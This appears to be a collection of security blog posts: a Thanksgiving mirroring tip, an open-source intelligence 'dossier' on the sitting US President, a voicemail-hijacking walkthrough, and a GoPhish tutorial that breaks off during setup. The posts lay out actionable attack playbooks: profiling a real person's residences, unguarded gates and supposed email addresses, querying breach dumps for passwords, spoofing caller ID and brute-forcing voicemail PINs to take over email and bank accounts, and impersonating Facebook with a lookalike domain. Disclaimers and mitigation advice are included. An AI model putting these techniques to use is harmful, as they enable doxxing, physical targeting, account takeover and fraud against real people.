How to avoid arguments at the dinner table using
one simple Social Engineering trick.

Here we are. It’s Thanksgiving Day! It’s time to have a wonderful meal with family and friends. We are going to drink and be merry, feasting upon all the fixings and eventually the pies!

That is until that one friend or relative, who we of course love but don’t agree with politically, has had just enough alcohol to feel confident that now is the time they should bring up Politics.

I bet you knew this person was going to be the one to do it even before you arrived right? Yeah, it’s common and nothing to be ashamed of. Every family has that one. Or maybe you are that one. I don’t know, but here is a social engineering experiment that might help.

Arrive early enough that you can be sure to spend as much time with that person before the alcohol kicks in. It sounds counter-intuitive I am sure, but just bear with me.

Avoid talking with them about anything that might be confrontational. You can avoid talking to them altogether if you want, but at least laugh at their jokes or compliment them at least once.

Stay in this person’s line of sight as much as possible and watch them in your peripheral vision. Don’t let them know you are watching them but try to consistently mimic their body language as much as possible. This is called mirroring and can have some pretty amazing effects. Do things like assuming a similar stance as them. At the dinner table continue keeping them in your peripheral vision and when they sip their drink, sip yours in unison. Same with eating. Again, don’t make it obvious, stay nice and subtle. If you can get in sync over time they will subconsciously start mimicking you. If you think you are there you can always do a test, take a sip of your water when you know they are looking at you and see if they instinctively go for their glass as well. If so we are gold. If you can obtain that physical rapport with them before the political war breaks out, there is a good chance the following will occur. Subconsciously they will start to think of you as “just like them” and will want to avoid confrontation with you, maybe even side with you.

That’s all. Stay thirsty my friends and happy Thanksgiving!

The End

Very short one today, but I have a feast to cook…

What an exercise in open-source intelligence gathering tells us about the vulnerabilities of the President of The United States.

Disclaimer

Due to the subject matter of this article, I feel the need to stray a bit from my normal disclaimer. As with previous articles, we will, of course, be covering various techniques and tactics that could be used maliciously in the hands of the evil hackers. That said, my standard disclaimer still applies. ‘Be responsible! Don’t break the law! And certainly, don’t be a jerk!’

Now here is where things get a little stickier than usual. In this article, we are going to be exploring various techniques used in open-source information gathering. For this, we have chosen a very special target. The best target. I mean huge. Well, his hands are a little small but the rest of him, huge, believe me!

Don’t worry! We won’t be hacking The President and all politics aside, I wouldn’t recommend you try. We will, however, be creeping on him pretty hard. We will be performing these exercises with the intent of identifying where our target might be vulnerable to bad people. Very bad, the worst.

That said, I cannot stress enough, regardless of my obvious political leanings, I do not condone breaking the law or attacking, physically or otherwise, any human being, let alone The President of The United States.

Furthermore, nothing we will reveal about The President in this article should be breaking news. We aren’t here to blow the Impeachment Hearings wide open. Everything we discover will be pretty much public information, but it’s not about what we uncover. It is about the journey.

That out of the way, stay thirsty my friends!

Introduction

When we think of Intelligence Gathering, we often think of the world of espionage. We conjure up images of top-secret clandestine operations involving wire-taps, advanced satellite imagery, spy planes, covert double agents and more. We think of huge government agencies known more commonly by their acronyms than their actual names if even known at all.

Regardless of their names or lack thereof, foreign or domestic, these agencies do exist and their pockets are very deep. With practically infinite resources at their disposal, they are capable of the damnedest things from listening in on phone calls to photographing a fly on a wall halfway around the world. Some might even allege that they ARE the fly on that wall.

However, not all the information gathering done by these agencies requires an extensive budget or fancy toys. In fact, and as I’m sure you are aware, we as civilians practically give away a gold mine of information every second of every day. The same agencies mentioned above use this information just as much as they use the rest of their arsenal. They refer to this information as open-source intelligence.

Open-source intelligence, or OSINT, is the gathering of information that can be obtained without the use of any clandestine techniques. In short, it is the collection of any information publicly available via records and/or the internet.

Information obtained via an OSINT campaign can often prove to be just as valuable as intelligence gathered by more sophisticated means. Aside from the time it takes to verify and sort this information, it’s practically free, and thus has a lot of bang for the buck.

Shall We Play a Game?

For the remainder of this article, we are again going to pretend that we are secret operatives of The Dark Army. We have been tasked with gathering intelligence on The President of The United States of America.

We have been given no budget. All we have is our trusted laptop, an internet connection, and our due diligence. The mission is simple, identify any vulnerabilities that could be used to compromise The President and lead to further intelligence gathering or attack vectors. Below is a small sample of the type of vulnerabilities we will be looking for.

1. Personal Vulnerabilities
   This could include any personal information that could be used as leverage against the target, such as financial troubles or possible criminal activity, with the purpose of blackmail, extortion or bribery. It could also include a list of close confidants to the target and a list of their own vulnerabilities.
2. Digital Access Vulnerabilities
   This could include any online presence such as websites, social media accounts, email servers, weak passwords, or even devices used by the target that could be used by hackers to gain access to sensitive information and further intelligence-gathering efforts.
3. Physical Access Vulnerabilities
   This could include any vulnerability that could be used to gain unauthorized physical access to the target, such as work and home addresses that prove easily penetrable.

Ok Google : Who is Donald J Trump?

As expected a mere google search of Donald J. Trump already yields an overwhelming amount of information. It’s a lot to sort through and most of it is surely common knowledge like his multiple real-estate holdings, businesses, his date of birth, family members and associates.

Even though this sort of information seems fairly benign, we begin adding it to our dossier. Simple things like his date of birth are of course no secret but can be used later to verify the integrity of other intelligence we may gather as well as to build possible wordlists that can be used to brute force passwords. In short, any information we can gather is of interest to The Dark Army.

A Little Birdie Told Me

Moving a bit away from the facts for a second, we will turn our ear to some chatter. Google was kind enough to provide us quick links to our target’s various social media presences.

These sites can offer a tremendous amount of raw human insight. From likes and dislikes to habits and social circles, we can asses all sorts of valuable intelligence.

If we know our target is moody or likes a lot of attention and praise, we can asses that there are potential social engineering vulnerabilities. Not to mention that the more active our target is on a given platform, the more we can continue building and refining our wordlist.

Needless to say, our target can’t get enough of Twitter. He uses it so much we could build an app that was essentially a real-time mood ring for the guy.

Wait, has anyone done that? If not, get on it, and you’re welcome.

Moving on…

Oh look, it also gives us insight as to what kind of devices you use day-to-day. You use an iPhone. Awesome, add it to the dossier!

Too Much Information

Putting social media aside, we continue digging on Google. It doesn’t take long to realize that not all the information is what we would call benign.

We can see multiple failed businesses and bankruptcies, sex scandals, divorces, and a long list of close associates facing indictment or already convicted of federal crimes. The list just goes on and on.

There is way too much information on this guy. If we don’t stay focused and set small achievable goals, we will certainly lose our footing and fall into the abyss. Let’s set our first goal to simply be a broad overview of who our target is. I realize there is a lot to take in and quite frankly, some of it smells of what the Russians would call ‘Kompromat,’

I promise you we will get to all of it but for now broad strokes. When it does become time to dive deep into any one of these sweet-smelling flowers before us, our broader understanding will allow us to more efficiently distinguish what is worth our time and what is not.

Speaking of smells, there is this one foul oder in the room I do want to address, immediately. Do you smell it?

The Pee Pee Tape

We go back to Googling and what do you know? We found it, the infamous Pee Pee Tape. The existence of which has not been verified, but should it be real this kind of information would be, no pun intended, Golden!

This topic is just too juicy to not take a moment and explore it at least for a little bit. So we start digging and just as we break ground, we find a site claiming to have the alleged tape:

https://pisstape.org/tpt_720.mp4

This site’s domain name alone hints that this is not the most credible source, to say the least. That said, it’s our job as OSINT operatives to not just gather information but to verify to the best of our ability. So let’s try to do just that.

First off, the site’s IP address resolves to Buffalo NY and a quick ‘whois’ search tells us that the domain was registered out of Panama.

Looking closer at the video, there are a few intriguing things about it that lend some credibility.

For one, the man in the video has a very similar sitting style as the President. Digging through a google image search of the President sitting, we can see that he tends to sit with his knees fairly far apart while bringing his feet closer together. We can also see that his right foot tends to be a little more forward and than his left.

The man in the video also seems to be holding a phone in his left hand and making a pointing gesture with his right. Both of these mannerisms seem to also be very typical of our target.

All in all, the likeness is uncanny, but we still can’t be certain one way or the other if it’s real. If this is an actor, they deserve an award, but let’s examine some other details.

Allegedly the incident took place in the Presidential Suite, room 1101, of the Ritz Carlton Hotel in Moscow. So we search the internet for photos of that room.

To our surprise, the layout of the room seems to be an overall match as well. There are several similarities including the layout, the bed size, the wall panels, and even the light fixtures.

There are also a few things that are inconsistent though, such as the color of the wall panels and carpet.

The video is rather dark so it is hard to tell if the color difference is due to exposure but it seems that in the video, the wall panels and carpet have a grey or blue tint to them and both are noticeably darker then they should be according to our google image search.

We try to enhance the video a bit, but can’t quite seem to get there so we try the reverse. We take the professional photo of the actual room and start playing with the exposure.

We managed to get fairly close but not quite.

There is certainly a lot to swallow here and we could spend all day on just this video. Unfortunately, we don’t have all day and we have only begun to scratch the surface.

The Dark Army is expecting a lot more from us, and they don’t like to be disappointed. That said, we will log this in our dossier as ‘unverified but worthy of further investigation,’ collect any EXIF metadata we can from the video and continue with our recon.

Public Records

Ok enough with that. We have jumped down one too many rabbit holes and it’s perhaps a good time to put Google down for a bit. Remember our goal, broad strokes.

Let’s turn to another tool I like to use, BeenVerified.com. There are a lot of sites like BeenVerified.com, that do a lot of the hard work for us. These sites sift through public records and can be a treasure trove of information. They do tend to charge a small fee, but it just so happens that I have an account with unlimited access.

There is a lot of redundant information here like date of birth, relatives, businesses, and properties, but that is a good thing! This helps us verify the information we have been collecting and will continue to collect.

There is still a lot of information to cover here and this is kind of a short form venue. So, I will try to be brief and just cover the highlights. That said, it seems prudent to start with one of our President’s favorite topics.

The Emails

We managed to acquire more than a dozen email addresses potentially used by The President. A few were obviously associated with his work in the public sector as the domains point to his businesses.

Some, however, were defiantly more personal like chaosarecute@yahoo.com, loving_itcm2@hotmail.com, and twobitter@hotmail.com. All of these will have to be verified which we can do with a tool like Gophish as explained in one of my previous articles, “Hook Line and Sinker : Learning to Phish.”

Honestly, sending phishing emails to The President is out of the scope of this engagement and I would strongly discourage anyone from doing it. For now, let’s just pretend we did and that the addresses have all been verified.

When I discover email addresses linked to a target, there are a couple of things I like to do. First I will typically take a look at the ‘username’ associated with the address and turn to a site like https://instantusername.com.

Sites like this are supposed to be used to check the availability of potential usernames on various social media sites, but we are hackers and we never use things how they were intended. Instead, we will use it to determine if other online presences are using these usernames and with any luck, we will find more info on our target.

In this case, we didn’t yield any verifiable or usable results. We did stumble on this one profile on Scribd.com matching our yahoo username that curiously enough seemed to be studying various revolutions in China, Mexico, and Russia, but not much else.

The next thing I like to do is just Google the address and see what turns up. Googling the yahoo address yielded some interesting results. Apparently, there was a lot of chatter back in the day of the infamous Ashley Madison hack, that our boy, Donald, had used this email to set up a profile on Ashley Madison.

While this does fit what we know about our target it looks like a rabbit hole for another day. It does segue nicely into the next thing I like to do with email addresses though, check them against known data breaches.

Sites like haveibeenpwned.com, will allow you to search your email address to see if it shows up in their breach database. That’s nice and all, but if you know where to look and have the storage space, you can download a database called BreachComplilation1 which allows you to query email addresses against the same data and it will spit out any associated passwords that were compromised along with it.

Now it is important to note a few things here.

1. These breaches are typically followed by an alert sent to all users of the platform that was hacked, informing them that their data was compromised. This means the passwords are likely no longer valid but often when people change their password, the new one typically follows a similar pattern as their old. So, while the passwords probably won’t give us access, there could still be some intrinsic value.
2. These breaches are generally on various social media sites and not the email accounts themselves. This means that the passwords are for the account on that site, and the user’s email is either the username for the site or merely a required field. But let’s face it, most of us use the same password everywhere.
3. Since our target is very high profile and has been since the ‘80s, it is likely that most if not all of these accounts aren’t really our target, but instead, someone just being silly and using Trump’s email addresses to sign up for things.

Taking all of that into consideration we put every email we could even loosely associate with The President into a list and run our query script.

I know a bunch of you just lost your sh*t. You are probably thinking that I just crossed the line and any minute now a few men in suits will be showing up at my door.

Let me just reiterate: I have zero confidence that any of these passwords, are or ever have been, The President’s. If by some slim chance in hell anyone of them is The President’s password, we have a bigger issue at hand than me posting them.

We were hoping to identify an observable pattern in the passwords, but the only thing all these passwords have in common is that they are super weak. They are all so weak that they could be brute-forced in minutes using a standard laptop and a copy of the world’s most common wordlist, rockyou.txt.

The Financials

We already know from our preliminary Google search that our target has declared bankruptcy half a dozen times. This is a good indication that despite The President’s constant boasting of how rich he is, he has had financial problems in the past and this sort of information can almost always be used as leverage.

Digging into public records we were able to uncover 16 UCC Filings dating as far back as the ‘80s and up to 2009. UCC Filings are essentially liens. The filings were filed in an array of states including New York, Florida, and New Jersey. These filings can drastically affect one’s business’s credit score.

Surprisingly, our target somehow continued to get loans for various business ventures throughout this period. This begs the question, who was loaning this man money? Once again, google can shed some light on that.

There is obviously a high likely hood that someone has already beat us to the punch here and used this attack vector to compromise The President a long time ago, so let’s just add it to our dossier and move on.

The Associates

Between Google and BeenVerified, we have a long list of The President’s business associates and family members. Each one of these individuals is potentially another vulnerability for The President. If we could compromise any one of them, we could use them in return to get closer to and gather more intelligence about our target.

In a real engagement that is exactly what we would do. We would repeat all the same steps we have already performed on our target for each one of them. This would be exhausting and redundant for the purpose of this article. We are here to familiarize you with OSINT techniques so having already covered most of the techniques we would use on The President’s associates, let’s move on.

The Businesses

Much like the family and associates of The President, his businesses can undergo a lot of the same types of recon we have already been doing. Companies are people too remember, and they have a lot of the same qualities as well. They even tend to have social media accounts.

There are a few major differences. For one, they have a lot of email addresses. Luckily we can use tools like ‘The Harvester’ to automate the process of collecting them.

As you can see from the help menu, we can give the script a domain name and a source to rummage through and the script will find whatever OSINT it can.

Let’s take a look at one of Trump’s higher-profile businesses, Mar A Lago. We will start by setting Google as our source since it has been good to us so far.

theHarvester -d maralagoclub.com -l 500 -b google

In seconds we already have 6 more emails to add to our to-do list.

Now let’s try that search again but this time with another source available to us, LinkedIn.

Now, this is interesting. We just got a list of people who apparently work at Mar A Lago, along with their positions.

We will, of course, add each of them to our to-do list as well.

Sure a lot of them don’t seem to have very high ranking positions, but maybe we can use that to our advantage. Anyone of them might be an easy target, especially if they are not paid well. They also likely have physical access to a property that everyone knows The President frequently visits.

This brings us to our next topic.

The Properties

Up until now, we have been mostly looking at The President’s digital footprint, and unlike his hands, it appears he has some pretty big feet. As we have realized there is a lot of information out there and much more yet to be discovered. It is now time to see if we can identify any physical vulnerabilities.

Can we get physical access to The President? Maybe not get close enough to touch him, ewe gross, but close enough to plant a listening device or a USB Rubber Ducky. (hypothetically of course)

Google Maps is amazing for this kind of recon. We can use it to get satellite imagery of the properties he and his associates frequent as well as use Google Street View to maybe identify access points.

We start with one of his business addresses in NY. You know the one.

Immediately we find an open door. There is certainly a security presence for sure. We can quickly identify security cameras and boys in suits. None the less we will look a little closer.

Google Street view sometimes has more than just one view of a street. If the Google Street View car has driven by a location more than once, we will often find a little box in the upper left corner of the view, that allows us to view the same location at different points in time.

Using this we can start to learn things like the habits of the guards. Do they drink Starbucks? How do they dress? Are their suits always black? Do other employees hangout at these entrances to smoke or read the paper? What happens when there is an Amazon delivery? What does the typical delivery person look like?

I think you get the point. And Trump Tower seems pretty hard to get into, so let’s move on to Mar A Lago.

As is evident by watching the News, The President spends a lot of time at his resort. Given that this resort is not in the heart of a thriving metropolis like NY, we will start with a satellite view.

Right off the bat, we can see there are potentially a lot more entry points to this property. We have practically open waters on the west side and various road access around the rest of the resort.

There is also this strange little anomaly in the way of a white circle in the middle of that open lawn. If we zoom in on that, it gets a little stranger.

The circle doesn’t seem like an actual part of the landscape at all. It looks like a graphical overlay. It’s as if someone requested something be blocked out. Interestingly enough there are also a couple of mysterious vents or drains around the area.

“You are saying nothing but you are telling me everything.”

If this is a graphical edit, maybe Google’s Russian cousin, Yandex, has a different point of view.

We can’t get as close with Yandex, but we can quickly see some differences. There is no white circle, no apparent vents, and a lot more trees. It’s hard to tell which image is more recent but judging by the quality, our best guess would be that the Google image is newer. Could there have been some top-secret renovation to the lawn recently? Maybe some missile launchers or underground tunnels? Who knows?

Returning to Google satellite images, we take a look at the resort from a few different angles. When viewing the resort from the East we can see a pool across the street.

Zooming in, we notice what appears to be some tunnels leading under the road.

Let’s take a look from the other side and try to identify any potential exit points.

At first glance, there doesn’t appear to be any corresponding exits on the other side until we zoom in to the upper right.

Very Interesting, that certainly looks like a passageway.

Ok time to take a drive around the exterior of the resort with Street View and see what we can find. We will start at the South West corner and make our way around.

Already we found some new construction going on. Perhaps another tunnel?

Driving east and surveying the parameter we find some security near one of the main entrances, that according to Street Views records were not there just a few years ago.

We drive a little further towards those possible tunnels and find a closed gate with an apparent gardener.

We take note of the clothes he is wearing and turn our attention to the other side of the street where those tunnels are.

Ooh, this is very interesting, an open and unattended service gate. What’s more is when we examine this gate in Google Street View’s time machine, we can see that it’s apparently left unguarded and ajar often.

I think we have what we came looking for and I don’t know about you, but I am exhausted.

Let’s wrap things up for now, and get our dossier polished and ready for The Dark Army to review. They’ll take it from here.

Conclusion

This article has certainly been longer than most, and yet, there is still a lot we didn’t cover. We only scratched the surface. Take the extensive list of phone numbers we acquired and never covered, for instance. As you can imagine, there is plenty we could have done with them as illustrated by another article of mine, ‘When Hackers Call.’ We also didn’t touch on any of Google’s advanced searching techniques, but we will leave that for another article.

None the less, it is fair to say that we still gathered a lot of valuable intelligence in a fairly short time. Certainly, we have enough to begin writing our general assessment of the target. The target is riddled with potential vulnerabilities we can outline. In fact, in our report to The Dark Army, we will be sure to mention that there is a high likely hood that our target has already been compromised.

The End

How hackers can use your voicemail against you and how to mitigate the risk.

Disclaimer

Let me start by saying that this article is for educational purposes only. The knowledge you will gain from this article could be used to do very illegal things and land you in federal prison. Even worse, it could be used to ruin someone else’s life. Someone more innocent than you.

Further more, I do not endorse, condone or otherwise warrant breaking the law or invading the privacy of others. You alone are fully responsible for what you do with this information.

In other words, ‘Don’t be a jerk!’

That said, stay thirsty my friends!

Foreword

In today’s world, when we think about protecting ourselves from hackers a number of obvious things come to mind.

We know the dangers of using public WiFi, weak passwords, and having poor firewall security. We also know better than to click on suspicious links or mount random USB drives that we happen to find lying around.

Hell, some of us might even take precautions like always using a VPN, 2Factor authentication, and even reaching out to our cell phone providers to put protocols in place that prevent SIM Jacking.

Let’s face it, though. With all our smart devices, social media accounts, and the internet of things; there are endless avenues a hacker can take if they really want to try and hack us.

We certainly can’t spend all day worrying about everywhere we might be vulnerable, and for the most part, we don’t have to. We tend to rest our heads on the shoulders of giants, ‘knowing’ that big companies like Google, Amazon, Facebook, Verizon and the like have the best of the best working hard to safeguard us and our data.

For the most part, this is a fairly safe bet, but even the brightest often overlook things that can leave us with our pants down.

By this point, I am sure you are quite keen as to what I’m about to tell you, but here it comes anyway:

“Your Voicemail is leaving your derriere exposed to the harsh winter breeze and {dramatic pause} Hackers!!!”

The Threat

You are probably thinking,

“What’s the big deal? Are you going to tell me that hackers can listen to my voicemail? Who cares?! All they‘ll hear are messages from telemarketers, anyway. Let them have at it!”

If you are at all like me, you might even scoff,

“Jokes on you, my friend! I didn’t even set up voicemail on my phone. Voicemail, HAH! Who even uses that anymore?”

Addressing the latter first, let me say one thing: Just because you didn’t set up voicemail, doesn’t mean that you don’t have a voicemail. Most cellular providers automatically give you a voicemail account with your service and if you didn’t set it up, you are likely even more vulnerable to what I am about to tell you.

Moving back to the first question, the short answer is “yes!” Hackers can listen to your voicemail and while you may think there is no value in your voice messages, there most certainly is. In fact, they can use these messages to hijack many of your online profiles and accounts and I am about to show you how.

Shall We Play a Game?

For the remainder of this article, we are going to pretend to be evil hackers. The Dark Army has tasked us with hacking an individual by the name Roger Pebble. Ditching our morals in favor of not being killed by the Dark Army, we accept the task, grab a cup of coffee, and get to it.

Our initial recon yielded a few possible phone numbers and online identities including social media accounts, Gmail, and even online banking. Unfortunately, we don’t really have much else to go on.

How we got this info is a topic for another day but I encourage you to follow me here for when that day comes!

The big fruit here is obviously Roger’s online banking, but we don’t know his password and we certainly don’t want to try brute forcing a bank. It’s too noisy and will likely get us caught. Roger’s email is pretty much the same story, so all we’re left with are a few phone numbers.

Step 1 : Phone Info Gathering
The first thing we decide to do is run these phone numbers through a python3 script called PhoneInfoga which can be found on Git Hub by clicking here.

PhoneInfoga is essentially an automation script that can be used to rummage through the internet and find valuable information about a given number.

Our main purpose for using this script is to first verify that they are indeed real numbers and to see if we can quickly identify the numbers as either mobile or landlines. Below are a few sample outputs from running ‘phoneinfoga.py’ on various numbers.

Judging by the output, we can see that the numbers are in fact real numbers, and one of them is likely a mobile number with Verizon. The second number shows up as a possible landline, but in yellow we can see that there is always a margin of error.

Step 2 : Confirm and Verify
What we need to do now is see if voicemail is set up on these phone numbers. For doing this, there is a great tool used by social engineers all the time, called SpoofCard.

SpoofCard is a mobile app that social engineers typically use to fake the number they are calling from when performing phone phishing attempts. It allows the caller to make any number they want appear on the caller ID of the victim’s phone. It also allows for the disguising of their voice, adding fake background noise, recording the phone call and even going straight to voicemail, although we won’t be needing any of those extra fancy features.

Instead, we are going to keep this quite simple. We will try using SpoofCard to merely call our victim’s numbers while pretending to be calling from the very same number. What happens when we call our own number from the same number, you may ask? Well, we go straight to voicemail.

Let me be crystal clear here. We don’t get dropped into the user’s voicemail greeting,

“Hey I’m ignoring you! Please leave a message..”

No, we get dropped straight into the user’s voicemail menu. Now, a couple different scenarios could play out here.

• The user hasn’t set up their voicemail yet.
  This is the ideal situation for us. It means we will be greeted with a message telling us that our voicemail hasn’t been set up yet, but offering us a numeric option to “set it up now.” Sweet, we can just go ahead and set up the voicemail for our victim, setting their PIN to whatever our little hacker hearts desire.
• The user set their voicemail up, but improperly.
  For whatever reason, some cellular providers allow their customers to select an option that allows for them to access their voicemail without a PIN, when calling from the same number. Hey, that’s what we are about to do. I have to take back everything I just said in the first bullet, this is the real ideal. If this is the case we will skip right over authentication.
• The user set up the voicemail correctly.
  This is mostly likely our worst case scenario. It means we will be greeted with a message telling us to enter our PIN.

Ok, so let’s give it a try.

Making sure we put our victim’s number in both fields, we simply hit the call button, and listen… (Actual Recording Found Here)

Damn, it’s the worst case scenario! It’s prompting us for a PIN!

Note: SpoofCard isn’t exactly free, but it is really cheap. Also, at the time of writing this, the app seems to have been taken down from at least the Google Play store. The company has stated that it will be back up shortly, but you can still find the app if you know where to look.

Step 3 : Brute Forcing The Pin
While some might be discouraged by our victim’s apparent skills in setting up their voicemail, we know all is not lost. Try harder is always the hacker motto.

Typically, cellular providers require their customers to secure their voicemail with a mere 4–8 digit PIN. They also tend to stress the importance of making your PIN something easy to remember. Taking that suggestion into consideration, I bet you can guess how many digits the majority of people’s PINs are. If you guessed the minimum required, you are correct!

People are predictable. A quick Google search will yield you a list of the Top Ten 4-digit PIN combinations and you’ll find 15% of the population using them. What’s more, is that most providers don’t implement any “max attempt” security on their voicemail systems. So even if our victim is not in the 15% of users guilty of using one of the Top Ten, the permutations are rather trivial in the world of scripting. In fact, another quick Google will show you that someone has likely already written a script for you.

Step 4 : Pivot
Luckily for us, we guessed our victim’s PIN on our first attempt, ‘0000.’
Great, we know our victim’s voicemail passcode, but now what? We could rummage through their messages or we could change their greeting. That would make for a good laugh, but I don’t think that is quite what the Dark Army had in mind.

Looking back at our initial recon, we know that Roger has an online banking presence. A quick glance at his bank’s ‘Forgot your password?’ page, reveals that in the event of a forgotten password, the bank emails their customers a password reset link.

It just so happens that Roger’s email works in a similar manner, but allows for us to get password help over the phone via either a text message or automated phone call, the key words here being ‘automated phone call.’

This likely means a computer will call and give us a code that we can then use to authorize a password reset. Sounds great if we can somehow get that computer to go straight to voicemail.

If only we had a swallow (ласточка), capable of luring Roger into a restaurant with no cellular service, or maybe just a means to get him to simply turn off his phone. Hmm..

Wait a minute, I know exactly what to do. There is this whole subculture of people out there, who make it their mission to weed out phone scammers and flood their call centers until they have to shut down. I love these phreaks! Certainly one of them has written a script for this too.

Once again, Google comes to the rescue with a DIY Call Flooder. Ok I’ll admit that this might be a little overkill. Maybe we could just wait until the late night hours and keep calling Roger from different numbers until he gets frustrated and just turns his phone off. We’ll know the trap as been sprung when he stops picking up and yelling obscenities at us and instead it goes straight to voicemail.

From here, it is smooth sailing. We trigger a password reset with his email, check the voicemail to retrieve the code, change his email password and bubble our way all the way up to his bank.

Roger is owned.

The Takeaway

First of all, I have to admit that the scenario laid out above was quite fanciful! It just so happened to be a perfect storm and obviously not all voicemail services are the same. Certainly your bank and likely your email provider also have better authentication practices in place, at least we hope so.

The intent was to keep you entertained while illustrating how the simple things that often get overlooked, are exactly what hackers are looking to exploit.

Be it leaving your router or security camera in its out-of-the-box configuration, or not properly setting up your voicemail when you get a new cellular provider, your minor oversight can quickly be forgotten by you and found later by The Dark Army.

How to Mitigate

1. At the very minimum, make sure you have set up your voicemail and given it a PIN that is not found on the Top Ten.
2. Double check all your voicemail settings. As mentioned, some providers have an option that bypasses authentication when calling from the same number. Make sure that is disabled!
3. Always delete your voicemail messages in a timely manner. We really don’t need anyone getting wind of any nicknames mom might have for us.
4. Consider disabling your voicemail altogether. This likely will require you calling your provider. While you have them on the phone you might as well make sure they have good SIM jacking prevention in place. Ask them to put a note on your account that a new SIM card can only be mailed to your billing address or picked up in person with a valid photo ID.

The End

One more thing, Epstein Didn’t Kill Himself. :)

Disclaimer

Let me start by saying that this article is for educational purposes only. The knowledge you will gain from this article could be used to do very illegal things and land you in federal prison should you use it inappropriately. Even worse, it could be used to ruin someone else’s life. Someone more innocent than you.

Further more, I do not endorse, condone or otherwise warrant breaking the law or invading the privacy of others. You alone are fully responsible for what you do with this information and how you use it. Please do not use the information here to bait and hook victims without expressed written consent. If you are using these tactics on a Penetration Testing assignment, please be sure that the email accounts you target are all defined by your client in writing, to be within the scope of your engagement and that the client has the authority to do so.

In other words, ‘Don’t be a jerk!’

That said, stay thirsty my friends!

Introduction

What is Phishing?
Before we begin, it might be prudent to discuss what ‘phishing’ is.

For one, it is not merely a misspelling of the word fishing. It is more of a tip of the proverbial hat.

Back in the day of pay phones and before the internet was a widely used consumer end product, there was a group of people called Phone Phreaks. In a nutshell, Phone Phreaks were inquisitive people who would use phones in manners for which they were not intended. They would do things like use whistles to mimic various tones to trick a phone into thinking the call was paid for.

Phone Phreaks can be thought of as the founding fathers to what we commonly call hackers today. They of course have a much richer history than I just expressed, but that is a topic for another day. For more information on them click here.

Anyway…

Phreaks + Fishing = Phishing

Webster defines phishing as follows:

phish·ing
/ˈfiSHiNG/

noun: phishing

the fraudulent practice of sending emails purporting to be from reputable companies in order to induce individuals to reveal personal information, such as passwords and credit card numbers.

“an email that is likely a phishing scam”

That’s a fair description, though I would add that phishing could also be used to install malicious software like a virus or backdoor and could also be implemented via a phone call or text message. The emails also don’t have to purport to be from reputable companies. They can appear to be from any trusted source really, like a friend or family member. For the purpose of this article however, we will stick with Webster’s Definition.

Two ways to Phish
Generally speaking there are two types of phishing. There is Phishing and then there is Spear Phishing.

The difference being that a phishing campaign will target as many email addresses as it can find. It casts a wide net in hopes of catching as many fish as possible without discrimination.

Spear Phishing however is targeted and limits the scope to either one victim or a limited number of predefined victims. Spear Phishing is more personal, the victim(s) are hand picked and the bait so to speak is designed to specifically lure that particular victim. It may yield less results, but the results are more targeted and more precise.

Is Phishing Effective?
I know what you are thinking…

“Look man, I’m not a dumb fish! Anyone can spot a phishing attempt. Besides my company has top notch security and will quickly shutdown any phishing attempt”

Well, regardless of how smart of a fish you are or how talented your company’s IT department is, people are still the weakest link in any infrastructure.

In fact, the 2019 DBIR report released by Verizon shows that the #1 cause of data breaches in 2019 was phishing, making up about a 3rd of all major data breaches reported. The report went on to name ‘stolen credentials’ as the #2 culprit but that begs the question, ‘How did those credentials get stolen in the first place?’ It is likely they were stolen via some sort of social engineering, and well, one could argue probably from some variation of Phishing!

Before We Begin : Prerequisites

In this article we are going to explore a tool called GoPhish. GoPhish is an open-source framework designed for pen-testers to quickly spin up phishing campaigns with the intent of assessing whether a company or person(s) are suceptible to email phishing.

To follow along you will need to meet the following prerequisites.

1. An email server to use for sending emails.
   You can use just about any email service you have credentials for, like gmail or hotmail, but I recommend using a private domain and smtp2go.com
2. Authorized Victims
   As previously stated, don’t use this tutorial to send phishing attempts to email addresses you have not received appropriate permissions from. I will be using a few of my own personal accounts as victims for the purpose of demonstrating the effectiveness of this tool.
3. A Victim Facing Web Service
   You will be hosting a landing page on your local machine. If you want to test your phishing campaigns end to end, your victims will need to be able to reach your machine and thus they will either need to be on the same network or you will need a public facing web service. If the later is the case you will either need a tunneling service like ngrok installed or the ability to enable port forwarding on your router along with knowledge of your public ip.
4. GoPhish
   You can download and install the latest version of GoPhish for Mac, Windows, or Linux here. I will be demonstrating from a Linux machine but it should be relatively the same for all platforms.

Lets’ Go Phishing

For the remainder of this article we will pretend that we are hackers looking to steal the Facebook credentials of our victims.

The plan is simple. We will pretend to be the Facebook Privacy Team.

Our pretext is that we are writing users simply to notify them that the Facebook Privacy Policy has been recently updated.

We happen to know that our victim is very particular about privacy policies and often gets very upset when companies update their policy. The nice thing about this approach is that on the surface it seems pretty harmless. We won’t be asking for any sensitive information or doing anything else that might give rise to skepticism and we happen to know our victim is very invested in the topic.

So grab your favorite hoodie and trusted laptop. We are going Phishing!

Step 1 : Launch GoPhish
Gophish, is our tackle box. It has just about everything we need to create tantalizing lures, cast our bait, and reel in our catch.

Once you have the latest version downloaded and extracted we are pretty much good to go. In a terminal window navigate to the folder you extracted gophish to and launch it like so:

cd gophish-v0.8.0-linux-64bit/

and

./gophish

You will notice that this doesn’t launch a GUI application. Instead a URL pointing to port 3333 on our local-host has been provided via the terminal output. This is where the gophish service is running. If we close this terminal window now, it will stop the service. So, don’t do that.

Leaving that terminal window open in the background we will now navigate to https://127.0.0.1:3333 via our web-browser.

You will be greeted with a login screen. The default credentials for gophish are user: admin and password: gophish.

Like all things in life it would be wise to change these default credentials immediately via the account settings link on the left nav.

Step 2 : Create a Sending Profile
The next step we want to take is to set up a ‘Sending Profile.’

You can think of the Sending Profile as our fishing rod. It is our delivery mechanism. We will use it to cast our bait and ultimately reel in some fish. The trick is to not give the fish any clue that on the other end of that line is a Phisherman.

In reality our rod is really just a fake email address delivered by a real email server. It will ultimately be used to trick our victim into thinking that the email they received is from someone else. Someone trusted. ‘Nothing phishy here.’

In our case we want the user to believe that we are Facebook. We are going to specifically pretend to be ‘The Facebook Privacy Department.’

To set up the sending profile, navigate to ‘Sending Profiles’ via the left nav and click ‘New Profile.’

Name: Facebook Privacy

In the above example I set up a profile named ‘Facebook Privacy.’ The name can be anything really, and is just used for your reference.

From: Facebook Privacy <privacy@fbmail.com>

The ‘From’ field, is used to determine how the victim will see the sender information in their inbox. For this example, ‘Facebook Privacy’ will be the sender’s name, while ‘privacy@fbmail.com’ will be our sender’s fake address.

You may be thinking why not ‘privacy@facebook.com’. In short, some email providers will recognize @facebook.com or even @facebookmail.com as official Facebook mail domains and flag the email as a potential phishing attempt when the DNS entry doesn’t match the actual server sending the email. So we crafted a domain of @fbmail.com as it looks legit enough to the average user and should fly under the radar.

Host: {your mail server:port here}

